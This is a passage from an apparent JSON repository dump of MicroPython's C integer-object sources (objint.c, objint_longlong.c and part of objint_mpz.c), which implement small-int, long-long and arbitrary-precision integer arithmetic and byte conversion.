}\n    return MP_OBJ_NEW_SMALL_INT(val);\n}\n\n// This is called for operations on SMALL_INT that are not handled by mp_unary_op\nmp_obj_t mp_obj_int_unary_op(mp_uint_t op, mp_obj_t o_in) {\n    return MP_OBJ_NULL; // op not supported\n}\n\n// This is called for operations on SMALL_INT that are not handled by mp_binary_op\nmp_obj_t mp_obj_int_binary_op(mp_uint_t op, mp_obj_t lhs_in, mp_obj_t rhs_in) {\n    return mp_obj_int_binary_op_extra_cases(op, lhs_in, rhs_in);\n}\n\n// This is called only with strings whose value doesn't fit in SMALL_INT\nmp_obj_t mp_obj_new_int_from_str_len(const char **str, size_t len, bool neg, unsigned int base) {\n    mp_raise_msg(&mp_type_OverflowError, \"long int not supported in this build\");\n    return mp_const_none;\n}\n\n// This is called when an integer larger than a SMALL_INT is needed (although val might still fit in a SMALL_INT)\nmp_obj_t mp_obj_new_int_from_ll(long long val) {\n    mp_raise_msg(&mp_type_OverflowError, \"small int overflow\");\n    return mp_const_none;\n}\n\n// This is called when an integer larger than a SMALL_INT is needed (although val might still fit in a SMALL_INT)\nmp_obj_t mp_obj_new_int_from_ull(unsigned long long val) {\n    mp_raise_msg(&mp_type_OverflowError, \"small int overflow\");\n    return mp_const_none;\n}\n\nmp_obj_t mp_obj_new_int_from_uint(mp_uint_t value) {\n    // SMALL_INT accepts only signed numbers, so make sure the input\n    // value fits completely in the small-int positive range.\n    if ((value & ~MP_SMALL_INT_POSITIVE_MASK) == 0) {\n        return MP_OBJ_NEW_SMALL_INT(value);\n    }\n    mp_raise_msg(&mp_type_OverflowError, \"small int overflow\");\n    return mp_const_none;\n}\n\nmp_obj_t mp_obj_new_int(mp_int_t value) {\n    if (MP_SMALL_INT_FITS(value)) {\n        return MP_OBJ_NEW_SMALL_INT(value);\n    }\n    mp_raise_msg(&mp_type_OverflowError, \"small int overflow\");\n    return mp_const_none;\n}\n\nmp_int_t mp_obj_int_get_truncated(mp_const_obj_t self_in) {\n    return MP_OBJ_SMALL_INT_VALUE(self_in);\n}\n\nmp_int_t mp_obj_int_get_checked(mp_const_obj_t self_in) {\n    return MP_OBJ_SMALL_INT_VALUE(self_in);\n}\n\n#endif // MICROPY_LONGINT_IMPL == MICROPY_LONGINT_IMPL_NONE\n\n// This dispatcher function is expected to be independent of the implementation of long int\n// It handles the extra cases for integer-like arithmetic\nmp_obj_t mp_obj_int_binary_op_extra_cases(mp_uint_t op, mp_obj_t lhs_in, mp_obj_t rhs_in) {\n    if (rhs_in == mp_const_false) {\n        // false acts as 0\n        return mp_binary_op(op, lhs_in, MP_OBJ_NEW_SMALL_INT(0));\n    } else if (rhs_in == mp_const_true) {\n        // true acts as 0\n        return mp_binary_op(op, lhs_in, MP_OBJ_NEW_SMALL_INT(1));\n    } else if (op == MP_BINARY_OP_MULTIPLY) {\n        if (MP_OBJ_IS_STR(rhs_in) || MP_OBJ_IS_TYPE(rhs_in, &mp_type_bytes) || MP_OBJ_IS_TYPE(rhs_in, &mp_type_tuple) || MP_OBJ_IS_TYPE(rhs_in, &mp_type_list)) {\n            // multiply is commutative for these types, so delegate to them\n            return mp_binary_op(op, rhs_in, lhs_in);\n        }\n    }\n    return MP_OBJ_NULL; // op not supported\n}\n\n// this is a classmethod\nSTATIC mp_obj_t int_from_bytes(size_t n_args, const mp_obj_t *args) {\n    // TODO: Support signed param (assumes signed=False at the moment)\n    (void)n_args;\n\n    // get the buffer info\n    mp_buffer_info_t bufinfo;\n    mp_get_buffer_raise(args[1], &bufinfo, MP_BUFFER_READ);\n\n    const byte* buf = (const byte*)bufinfo.buf;\n    int delta = 1;\n    if (args[2] == MP_OBJ_NEW_QSTR(MP_QSTR_little)) {\n        buf += bufinfo.len - 1;\n        delta = -1;\n    }\n\n    mp_uint_t value = 0;\n    size_t len = bufinfo.len;\n    for (; len--; buf += delta) {\n        #if MICROPY_LONGINT_IMPL != MICROPY_LONGINT_IMPL_NONE\n        if (value > (MP_SMALL_INT_MAX >> 8)) {\n            // Result will overflow a small-int so construct a big-int\n            return mp_obj_int_from_bytes_impl(args[2] != MP_OBJ_NEW_QSTR(MP_QSTR_little), bufinfo.len, bufinfo.buf);\n        }\n        #endif\n        value = (value << 8) | *buf;\n    }\n    return mp_obj_new_int_from_uint(value);\n}\n\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(int_from_bytes_fun_obj, 3, 4, int_from_bytes);\nSTATIC MP_DEFINE_CONST_CLASSMETHOD_OBJ(int_from_bytes_obj, MP_ROM_PTR(&int_from_bytes_fun_obj));\n\nSTATIC mp_obj_t int_to_bytes(size_t n_args, const mp_obj_t *args) {\n    // TODO: Support signed param (assumes signed=False)\n    (void)n_args;\n\n    mp_int_t len = mp_obj_get_int(args[1]);\n    if (len < 0) {\n        mp_raise_ValueError(NULL);\n    }\n    bool big_endian = args[2] != MP_OBJ_NEW_QSTR(MP_QSTR_little);\n\n    vstr_t vstr;\n    vstr_init_len(&vstr, len);\n    byte *data = (byte*)vstr.buf;\n    memset(data, 0, len);\n\n    #if MICROPY_LONGINT_IMPL != MICROPY_LONGINT_IMPL_NONE\n    if (!MP_OBJ_IS_SMALL_INT(args[0])) {\n        mp_obj_int_to_bytes_impl(args[0], big_endian, len, data);\n    } else\n    #endif\n    {\n        mp_int_t val = MP_OBJ_SMALL_INT_VALUE(args[0]);\n        size_t l = MIN((size_t)len, sizeof(val));\n        mp_binary_set_int(l, big_endian, data + (big_endian ? (len - l) : 0), val);\n    }\n\n    return mp_obj_new_str_from_vstr(&mp_type_bytes, &vstr);\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(int_to_bytes_obj, 3, 4, int_to_bytes);\n\nSTATIC const mp_rom_map_elem_t int_locals_dict_table[] = {\n    { MP_ROM_QSTR(MP_QSTR_from_bytes), MP_ROM_PTR(&int_from_bytes_obj) },\n    { MP_ROM_QSTR(MP_QSTR_to_bytes), MP_ROM_PTR(&int_to_bytes_obj) },\n};\n\nSTATIC MP_DEFINE_CONST_DICT(int_locals_dict, int_locals_dict_table);\n\nconst mp_obj_type_t mp_type_int = {\n    { &mp_type_type },\n    .name = MP_QSTR_int,\n    .print = mp_obj_int_print,\n    .make_new = mp_obj_int_make_new,\n    .unary_op = mp_obj_int_unary_op,\n    .binary_op = mp_obj_int_binary_op,\n    .locals_dict = (mp_obj_dict_t*)&int_locals_dict,\n};\n"
  },
  {
    "path": "micropython/source/py/objint_longlong.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n * Copyright (c) 2014 Paul Sokolovsky\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdlib.h>\n#include <string.h>\n\n#include \"py/nlr.h\"\n#include \"py/smallint.h\"\n#include \"py/objint.h\"\n#include \"py/runtime0.h\"\n#include \"py/runtime.h\"\n\n#if MICROPY_PY_BUILTINS_FLOAT\n#include <math.h>\n#endif\n\n#if MICROPY_LONGINT_IMPL == MICROPY_LONGINT_IMPL_LONGLONG\n\n#if MICROPY_PY_SYS_MAXSIZE\n// Export value for sys.maxsize\nconst mp_obj_int_t mp_maxsize_obj = {{&mp_type_int}, MP_SSIZE_MAX};\n#endif\n\nmp_obj_t mp_obj_int_from_bytes_impl(bool big_endian, size_t len, const byte *buf) {\n    int delta = 1;\n    if (!big_endian) {\n        buf += len - 1;\n        delta = -1;\n    }\n\n    mp_longint_impl_t value = 0;\n    for (; len--; buf += delta) {\n        value = (value << 8) | *buf;\n    }\n    return mp_obj_new_int_from_ll(value);\n}\n\nvoid mp_obj_int_to_bytes_impl(mp_obj_t self_in, bool big_endian, size_t len, byte *buf) {\n    assert(MP_OBJ_IS_TYPE(self_in, &mp_type_int));\n    mp_obj_int_t *self = self_in;\n    long long val = self->val;\n    if (big_endian) {\n        byte *b = buf + len;\n        while (b > buf) {\n            *--b = val;\n            val >>= 8;\n        }\n    } else {\n        for (; len > 0; --len) {\n            *buf++ = val;\n            val >>= 8;\n        }\n    }\n}\n\nint mp_obj_int_sign(mp_obj_t self_in) {\n    mp_longint_impl_t val;\n    if (MP_OBJ_IS_SMALL_INT(self_in)) {\n        val = MP_OBJ_SMALL_INT_VALUE(self_in);\n    } else {\n        mp_obj_int_t *self = self_in;\n        val = self->val;\n    }\n    if (val < 0) {\n        return -1;\n    } else if (val > 0) {\n        return 1;\n    } else {\n        return 0;\n    }\n}\n\n// This must handle int and bool types, and must raise a\n// TypeError if the argument is not integral\nmp_obj_t mp_obj_int_abs(mp_obj_t self_in) {\n    if (MP_OBJ_IS_TYPE(self_in, &mp_type_int)) {\n        mp_obj_int_t *self = self_in;\n        self = mp_obj_new_int_from_ll(self->val);\n        if (self->val < 0) {\n            // TODO could overflow long long\n            self->val = -self->val;\n        }\n        return self;\n    } else {\n        mp_int_t val = mp_obj_get_int(self_in);\n        if (val == MP_SMALL_INT_MIN) {\n            return mp_obj_new_int_from_ll(-val);\n        } else {\n            if (val < 0) {\n                val = -val;\n            }\n            return MP_OBJ_NEW_SMALL_INT(val);\n        }\n    }\n}\n\nmp_obj_t mp_obj_int_unary_op(mp_uint_t op, mp_obj_t o_in) {\n    mp_obj_int_t *o = o_in;\n    switch (op) {\n        case MP_UNARY_OP_BOOL: return mp_obj_new_bool(o->val != 0);\n\n        // truncate value to fit in mp_int_t, which gives the same hash as\n        // small int if the value fits without truncation\n        case MP_UNARY_OP_HASH: return MP_OBJ_NEW_SMALL_INT((mp_int_t)o->val);\n\n        case MP_UNARY_OP_POSITIVE: return o_in;\n        case MP_UNARY_OP_NEGATIVE: return mp_obj_new_int_from_ll(-o->val);\n        case MP_UNARY_OP_INVERT: return mp_obj_new_int_from_ll(~o->val);\n        default: return MP_OBJ_NULL; // op not supported\n    }\n}\n\nmp_obj_t mp_obj_int_binary_op(mp_uint_t op, mp_obj_t lhs_in, mp_obj_t rhs_in) {\n    long long lhs_val;\n    long long rhs_val;\n\n    if (MP_OBJ_IS_SMALL_INT(lhs_in)) {\n        lhs_val = MP_OBJ_SMALL_INT_VALUE(lhs_in);\n    } else if (MP_OBJ_IS_TYPE(lhs_in, &mp_type_int)) {\n        lhs_val = ((mp_obj_int_t*)lhs_in)->val;\n    } else {\n        return MP_OBJ_NULL; // op not supported\n    }\n\n    if (MP_OBJ_IS_SMALL_INT(rhs_in)) {\n        rhs_val = MP_OBJ_SMALL_INT_VALUE(rhs_in);\n    } else if (MP_OBJ_IS_TYPE(rhs_in, &mp_type_int)) {\n        rhs_val = ((mp_obj_int_t*)rhs_in)->val;\n    } else {\n        // delegate to generic function to check for extra cases\n        return mp_obj_int_binary_op_extra_cases(op, lhs_in, rhs_in);\n    }\n\n    switch (op) {\n        case MP_BINARY_OP_ADD:\n        case MP_BINARY_OP_INPLACE_ADD:\n            return mp_obj_new_int_from_ll(lhs_val + rhs_val);\n        case MP_BINARY_OP_SUBTRACT:\n        case MP_BINARY_OP_INPLACE_SUBTRACT:\n            return mp_obj_new_int_from_ll(lhs_val - rhs_val);\n        case MP_BINARY_OP_MULTIPLY:\n        case MP_BINARY_OP_INPLACE_MULTIPLY:\n            return mp_obj_new_int_from_ll(lhs_val * rhs_val);\n        case MP_BINARY_OP_FLOOR_DIVIDE:\n        case MP_BINARY_OP_INPLACE_FLOOR_DIVIDE:\n            return mp_obj_new_int_from_ll(lhs_val / rhs_val);\n        case MP_BINARY_OP_MODULO:\n        case MP_BINARY_OP_INPLACE_MODULO:\n            return mp_obj_new_int_from_ll(lhs_val % rhs_val);\n\n        case MP_BINARY_OP_AND:\n        case MP_BINARY_OP_INPLACE_AND:\n            return mp_obj_new_int_from_ll(lhs_val & rhs_val);\n        case MP_BINARY_OP_OR:\n        case MP_BINARY_OP_INPLACE_OR:\n            return mp_obj_new_int_from_ll(lhs_val | rhs_val);\n        case MP_BINARY_OP_XOR:\n        case MP_BINARY_OP_INPLACE_XOR:\n            return mp_obj_new_int_from_ll(lhs_val ^ rhs_val);\n\n        case MP_BINARY_OP_LSHIFT:\n        case MP_BINARY_OP_INPLACE_LSHIFT:\n            return mp_obj_new_int_from_ll(lhs_val << (int)rhs_val);\n        case MP_BINARY_OP_RSHIFT:\n        case MP_BINARY_OP_INPLACE_RSHIFT:\n            return mp_obj_new_int_from_ll(lhs_val >> (int)rhs_val);\n\n        case MP_BINARY_OP_POWER:\n        case MP_BINARY_OP_INPLACE_POWER: {\n            if (rhs_val < 0) {\n                #if MICROPY_PY_BUILTINS_FLOAT\n                return mp_obj_float_binary_op(op, lhs_val, rhs_in);\n                #else\n                mp_raise_ValueError(\"negative power with no float support\");\n                #endif\n            }\n            long long ans = 1;\n            while (rhs_val > 0) {\n                if (rhs_val & 1) {\n                    ans *= lhs_val;\n                }\n                if (rhs_val == 1) {\n                    break;\n                }\n                rhs_val /= 2;\n                lhs_val *= lhs_val;\n            }\n            return mp_obj_new_int_from_ll(ans);\n        }\n\n        case MP_BINARY_OP_LESS:\n            return mp_obj_new_bool(lhs_val < rhs_val);\n        case MP_BINARY_OP_MORE:\n            return mp_obj_new_bool(lhs_val > rhs_val);\n        case MP_BINARY_OP_LESS_EQUAL:\n            return mp_obj_new_bool(lhs_val <= rhs_val);\n        case MP_BINARY_OP_MORE_EQUAL:\n            return mp_obj_new_bool(lhs_val >= rhs_val);\n        case MP_BINARY_OP_EQUAL:\n            return mp_obj_new_bool(lhs_val == rhs_val);\n\n        default:\n            return MP_OBJ_NULL; // op not supported\n    }\n}\n\nmp_obj_t mp_obj_new_int(mp_int_t value) {\n    if (MP_SMALL_INT_FITS(value)) {\n        return MP_OBJ_NEW_SMALL_INT(value);\n    }\n    return mp_obj_new_int_from_ll(value);\n}\n\nmp_obj_t mp_obj_new_int_from_uint(mp_uint_t value) {\n    // SMALL_INT accepts only signed numbers, so make sure the input\n    // value fits completely in the small-int positive range.\n    if ((value & ~MP_SMALL_INT_POSITIVE_MASK) == 0) {\n        return MP_OBJ_NEW_SMALL_INT(value);\n    }\n    return mp_obj_new_int_from_ll(value);\n}\n\nmp_obj_t mp_obj_new_int_from_ll(long long val) {\n    mp_obj_int_t *o = m_new_obj(mp_obj_int_t);\n    o->base.type = &mp_type_int;\n    o->val = val;\n    return o;\n}\n\nmp_obj_t mp_obj_new_int_from_ull(unsigned long long val) {\n    // TODO raise an exception if the unsigned long long won't fit\n    if (val >> (sizeof(unsigned long long) * 8 - 1) != 0) {\n        mp_raise_msg(&mp_type_OverflowError, \"ulonglong too large\");\n    }\n    mp_obj_int_t *o = m_new_obj(mp_obj_int_t);\n    o->base.type = &mp_type_int;\n    o->val = val;\n    return o;\n}\n\nmp_obj_t mp_obj_new_int_from_str_len(const char **str, size_t len, bool neg, unsigned int base) {\n    // TODO this does not honor the given length of the string, but it all cases it should anyway be null terminated\n    // TODO check overflow\n    mp_obj_int_t *o = m_new_obj(mp_obj_int_t);\n    o->base.type = &mp_type_int;\n    char *endptr;\n    o->val = strtoll(*str, &endptr, base);\n    *str = endptr;\n    return o;\n}\n\nmp_int_t mp_obj_int_get_truncated(mp_const_obj_t self_in) {\n    if (MP_OBJ_IS_SMALL_INT(self_in)) {\n        return MP_OBJ_SMALL_INT_VALUE(self_in);\n    } else {\n        const mp_obj_int_t *self = self_in;\n        return self->val;\n    }\n}\n\nmp_int_t mp_obj_int_get_checked(mp_const_obj_t self_in) {\n    // TODO: Check overflow\n    return mp_obj_int_get_truncated(self_in);\n}\n\n#if MICROPY_PY_BUILTINS_FLOAT\nmp_float_t mp_obj_int_as_float_impl(mp_obj_t self_in) {\n    assert(MP_OBJ_IS_TYPE(self_in, &mp_type_int));\n    mp_obj_int_t *self = self_in;\n    return self->val;\n}\n#endif\n\n#endif\n"
  },
  {
    "path": "micropython/source/py/objint_mpz.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <string.h>\n#include <stdio.h>\n#include <assert.h>\n\n#include \"py/nlr.h\"\n#include \"py/parsenumbase.h\"\n#include \"py/smallint.h\"\n#include \"py/objint.h\"\n#include \"py/runtime0.h\"\n#include \"py/runtime.h\"\n\n#if MICROPY_PY_BUILTINS_FLOAT\n#include <math.h>\n#endif\n\n#if MICROPY_LONGINT_IMPL == MICROPY_LONGINT_IMPL_MPZ\n\n#if MICROPY_PY_SYS_MAXSIZE\n// Export value for sys.maxsize\n#define DIG_MASK ((MPZ_LONG_1 << MPZ_DIG_SIZE) - 1)\nSTATIC const mpz_dig_t maxsize_dig[] = {\n    #define NUM_DIG 1\n    (MP_SSIZE_MAX >> MPZ_DIG_SIZE * 0) & DIG_MASK,\n    #if (MP_SSIZE_MAX >> MPZ_DIG_SIZE * 0) > DIG_MASK\n     #undef NUM_DIG\n     #define NUM_DIG 2\n     (MP_SSIZE_MAX >> MPZ_DIG_SIZE * 1) & DIG_MASK,\n     #if (MP_SSIZE_MAX >> MPZ_DIG_SIZE * 1) > DIG_MASK\n      #undef NUM_DIG\n      #define NUM_DIG 3\n      (MP_SSIZE_MAX >> MPZ_DIG_SIZE * 2) & DIG_MASK,\n      #if (MP_SSIZE_MAX >> MPZ_DIG_SIZE * 2) > DIG_MASK\n       #undef NUM_DIG\n       #define NUM_DIG 4\n       (MP_SSIZE_MAX >> MPZ_DIG_SIZE * 3) & DIG_MASK,\n       #if (MP_SSIZE_MAX >> MPZ_DIG_SIZE * 3) > DIG_MASK\n        #error cannot encode MP_SSIZE_MAX as mpz\n       #endif\n      #endif\n     #endif\n    #endif\n};\nconst mp_obj_int_t mp_maxsize_obj = {\n    {&mp_type_int},\n    {.fixed_dig = 1, .len = NUM_DIG, .alloc = NUM_DIG, .dig = (mpz_dig_t*)maxsize_dig}\n};\n#undef DIG_MASK\n#undef NUM_DIG\n#endif\n\nmp_obj_int_t *mp_obj_int_new_mpz(void) {\n    mp_obj_int_t *o = m_new_obj(mp_obj_int_t);\n    o->base.type = &mp_type_int;\n    mpz_init_zero(&o->mpz);\n    return o;\n}\n\n// This routine expects you to pass in a buffer and size (in *buf and buf_size).\n// If, for some reason, this buffer is too small, then it will allocate a\n// buffer and return the allocated buffer and size in *buf and *buf_size. It\n// is the callers responsibility to free this allocated buffer.\n//\n// The resulting formatted string will be returned from this function and the\n// formatted size will be in *fmt_size.\n//\n// This particular routine should only be called for the mpz representation of the int.\nchar *mp_obj_int_formatted_impl(char **buf, size_t *buf_size, size_t *fmt_size, mp_const_obj_t self_in,\n                                int base, const char *prefix, char base_char, char comma) {\n    assert(MP_OBJ_IS_TYPE(self_in, &mp_type_int));\n    const mp_obj_int_t *self = MP_OBJ_TO_PTR(self_in);\n\n    size_t needed_size = mp_int_format_size(mpz_max_num_bits(&self->mpz), base, prefix, comma);\n    if (needed_size > *buf_size) {\n        *buf = m_new(char, needed_size);\n        *buf_size = needed_size;\n    }\n    char *str = *buf;\n\n    *fmt_size = mpz_as_str_inpl(&self->mpz, base, prefix, base_char, comma, str);\n\n    return str;\n}\n\nmp_obj_t mp_obj_int_from_bytes_impl(bool big_endian, size_t len, const byte *buf) {\n    mp_obj_int_t *o = mp_obj_int_new_mpz();\n    mpz_set_from_bytes(&o->mpz, big_endian, len, buf);\n    return MP_OBJ_FROM_PTR(o);\n}\n\nvoid mp_obj_int_to_bytes_impl(mp_obj_t self_in, bool big_endian, size_t len, byte *buf) {\n    assert(MP_OBJ_IS_TYPE(self_in, &mp_type_int));\n    mp_obj_int_t *self = MP_OBJ_TO_PTR(self_in);\n    memset(buf, 0, len);\n    mpz_as_bytes(&self->mpz, big_endian, len, buf);\n}\n\nint mp_obj_int_sign(mp_obj_t self_in) {\n    if (MP_OBJ_IS_SMALL_INT(self_in)) {\n        mp_int_t val = MP_OBJ_SMALL_INT_VALUE(self_in);\n        if (val < 0) {\n            return -1;\n        } else if (val > 0) {\n            return 1;\n        } else {\n            return 0;\n        }\n    }\n    mp_obj_int_t *self = MP_OBJ_TO_PTR(self_in);\n    if (self->mpz.len == 0) {\n        return 0;\n    } else if (self->mpz.neg == 0) {\n        return 1;\n    } else {\n        return -1;\n    }\n}\n\n// This must handle int and bool types, and must raise a\n// TypeError if the argument is not integral\nmp_obj_t mp_obj_int_abs(mp_obj_t self_in) {\n    if (MP_OBJ_IS_TYPE(self_in, &mp_type_int)) {\n        mp_obj_int_t *self = MP_OBJ_TO_PTR(self_in);\n        mp_obj_int_t *self2 = mp_obj_int_new_mpz();\n        mpz_abs_inpl(&self2->mpz, &self->mpz);\n        return MP_OBJ_FROM_PTR(self2);\n    } else {\n        mp_int_t val = mp_obj_get_int(self_in);\n        if (val == MP_SMALL_INT_MIN) {\n            return mp_obj_new_int_from_ll(-val);\n        } else {\n            if (val < 0) {\n                val = -val;\n            }\n            return MP_OBJ_NEW_SMALL_INT(val);\n        }\n    }\n}\n\nmp_obj_t mp_obj_int_unary_op(mp_uint_t op, mp_obj_t o_in) {\n    mp_obj_int_t *o = MP_OBJ_TO_PTR(o_in);\n    switch (op) {\n        case MP_UNARY_OP_BOOL: return mp_obj_new_bool(!mpz_is_zero(&o->mpz));\n        case MP_UNARY_OP_HASH: return MP_OBJ_NEW_SMALL_INT(mpz_hash(&o->mpz));\n        case MP_UNARY_OP_POSITIVE: return o_in;\n        case MP_UNARY_OP_NEGATIVE: { mp_obj_int_t *o2 = mp_obj_int_new_mpz(); mpz_neg_inpl(&o2->mpz, &o->mpz); return MP_OBJ_FROM_PTR(o2); }\n        case MP_UNARY_OP_INVERT: { mp_obj_int_t *o2 = mp_obj_int_new_mpz(); mpz_not_inpl(&o2->mpz, &o->mpz); return MP_OBJ_FROM_PTR(o2); }\n        default: return MP_OBJ_NULL; // op not supported\n    }\n}\n\nmp_obj_t mp_obj_int_binary_op(mp_uint_t op, mp_obj_t lhs_in, mp_obj_t rhs_in) {\n    const mpz_t *zlhs;\n    const mpz_t *zrhs;\n    mpz_t z_int;\n    mpz_dig_t z_int_dig[MPZ_NUM_DIG_FOR_INT];\n\n    // lhs could be a small int (eg small-int + mpz)\n    if (MP_OBJ_IS_SMALL_INT(lhs_in)) {\n        mpz_init_fixed_from_int(&z_int, z_int_dig, MPZ_NUM_DIG_FOR_INT, MP_OBJ_SMALL_INT_VALUE(lhs_in));\n        zlhs = &z_int;\n    } else if (MP_OBJ_IS_TYPE(lhs_in, &mp_type_int)) {\n        zlhs = &((mp_obj_int_t*)MP_OBJ_TO_PTR(lhs_in))->mpz;\n    } else {\n        // unsupported type\n        return MP_OBJ_NULL;\n    }\n\n    // if rhs is small int, then lhs was not (otherwise mp_binary_op handles it)\n    if (MP_OBJ_IS_SMALL_INT(rhs_in)) {\n        mpz_init_fixed_from_int(&z_int, z_int_dig, MPZ_NUM_DIG_FOR_INT, MP_OBJ_SMALL_INT_VALUE(rhs_in));\n        zrhs = &z_int;\n    } else if (MP_OBJ_IS_TYPE(rhs_in, &mp_type_int)) {\n        zrhs = &((mp_obj_int_t*)MP_OBJ_TO_PTR(rhs_in))->mpz;\n#if MICROPY_PY_BUILTINS_FLOAT\n    } else if (mp_obj_is_float(rhs_in)) {\n        return mp_obj_float_binary_op(op, mpz_as_float(zlhs), rhs_in);\n#if MICROPY_PY_BUILTINS_COMPLEX\n    } else if (MP_OBJ_IS_TYPE(rhs_in, &mp_type_complex)) {\n        return mp_obj_complex_binary_op(op, mpz_as_float(zlhs), 0, rhs_in);\n#endif\n#endif\n    } else {\n        // delegate to generic function to check for extra cases\n        return mp_obj_int_binary_op_extra_cases(op, lhs_in, rhs_in);\n    }\n\n    if (0) {\n#if MICROPY_PY_BUILTINS_FLOAT\n    } else if (op == MP_BINARY_OP_TRUE_DIVIDE || op == MP_BINARY_OP_INPLACE_TRUE_DIVIDE) {\n        if (mpz_is_zero(zrhs)) {\n            goto zero_division_error;\n        }\n        mp_float_t flhs = mpz_as_float(zlhs);\n        mp_float_t frhs = mpz_as_float(zrhs);\n        return mp_obj_new_float(flhs / frhs);\n#endif\n\n    } else if (op <= MP_BINARY_OP_INPLACE_POWER) {\n        mp_obj_int_t *res = mp_obj_int_new_mpz();\n\n        switch (op) {\n            case MP_BINARY_OP_ADD:\n            case MP_BINARY_OP_INPLACE_ADD:\n                mpz_add_inpl(&res->mpz, zlhs, zrhs);\n                break;\n            case MP_BINARY_OP_SUBTRACT:\n            case MP_BINARY_OP_INPLACE_SUBTRACT:\n                mpz_sub_inpl(&res->mpz, zlhs, zrhs);\n                break;\n            case MP_BINARY_OP_MULTIPLY:\n            case MP_BINARY_OP_INPLACE_MULTIPLY:\n                mpz_mul_inpl(&res->mpz, zlhs, zrhs);\n                break;\n            case MP_BINARY_OP_FLOOR_DIVIDE:\n            case MP_BINARY_OP_INPLACE_FLOOR_DIVIDE: {\n                if (mpz_is_zero(zrhs)) {\n                    zero_division_error:\n                    mp_raise_msg(&mp_type_ZeroDivisionError, \"division by zero\");\n                }\n                mpz_t rem; mpz_init_zero(&rem);\n                mpz_divmod_inpl(&res->mpz, &rem, zlhs, zrhs);\n                mpz_deinit(&rem);\n                break;\n            }\n            case MP_BINARY_OP_MODULO:\n            case MP_BINARY_OP_INPLACE_MODULO: {\n                if (mpz_is_zero(zrhs)) {\n                    goto zero_division_error;\n                }\n                mpz_t quo; mpz_init_zero(&quo);\n                mpz_divmod_inpl(&quo, &res->mpz, zlhs, zrhs);\n                mpz_deinit(&quo);\n                break;\n            }\n\n            case MP_BINARY_OP_AND:\n            case MP_BINARY_OP_INPLACE_AND:\n                mpz_and_inpl(&res->mpz, zlhs, zrhs);\n                break;\n            case MP_BINARY_OP_OR:\n            case MP_BINARY_OP_INPLACE_OR:\n                mpz_or_inpl(&res->mpz, zlhs, zrhs);\n                break;\n            case MP_BINARY_OP_XOR:\n            case MP_BINARY_OP_INPLACE_XOR:\n                mpz_xor_inpl(&res->mpz, zlhs, zrhs);\n                break;\n\n            case MP_BINARY_OP_LSHIFT:\n            case MP_BINARY_OP_INPLACE_LSHIFT:\n            case MP_BINARY_OP_RSHIFT:\n            case MP_BINARY_OP_INPLACE_RSHIFT: {\n                mp_int_t irhs = mp_obj_int_get_checked(rhs_in);\n                if (irhs < 0) {\n                    mp_raise_ValueError(\"negative shift count\");\n                }\n                if (op == MP_BINARY_OP_LSHIFT || op == MP_BINARY_OP_INPLACE_LSHIFT) {\n                    mpz_shl_inpl(&res->mpz, zlhs, irhs);\n                } else {\n                    mpz_shr_inpl(&res->mpz, zlhs, irhs);\n                }\n                break;\n            }\n\n            case MP_BINARY_OP_POWER:\n            case MP_BINARY_OP_INPLACE_POWER:\n                if (mpz_is_neg(zrhs)) {\n                    #if MICROPY_PY_BUILTINS_FLOAT\n                    return mp_obj_float_binary_op(op, mpz_as_float(zlhs), rhs_in);\n                    #else\n                    mp_raise_ValueError(\"negative power with no float support\");\n                    #endif\n                }\n                mpz_pow_inpl(&res->mpz, zlhs, zrhs);\n                break;\n\n            default: {\n                assert(op == MP_BINARY_OP_DIVMOD);\n                if (mpz_is_zero(zrhs)) {\n                    goto zero_division_error;\n                }\n                mp_obj_int_t *quo = mp_obj_int_new_mpz();\n                mpz_divmod_inpl(&quo->mpz, &res->mpz, zlhs, zrhs);\n                mp_obj_t tuple[2] = {MP_OBJ_FROM_PTR(quo), MP_OBJ_FROM_PTR(res)};\n                return mp_obj_new_tuple(2, tuple);\n            }\n        }\n\n        return MP_OBJ_FROM_PTR(res);\n\n    } else {\n        int cmp = mpz_cmp(zlhs, zrhs);\n        switch (op) {\n            case MP_BINARY_OP_LESS:\n                return mp_obj_new_bool(cmp < 0);\n            case MP_BINARY_OP_MORE:\n                return mp_obj_new_bool(cmp > 0);\n            case 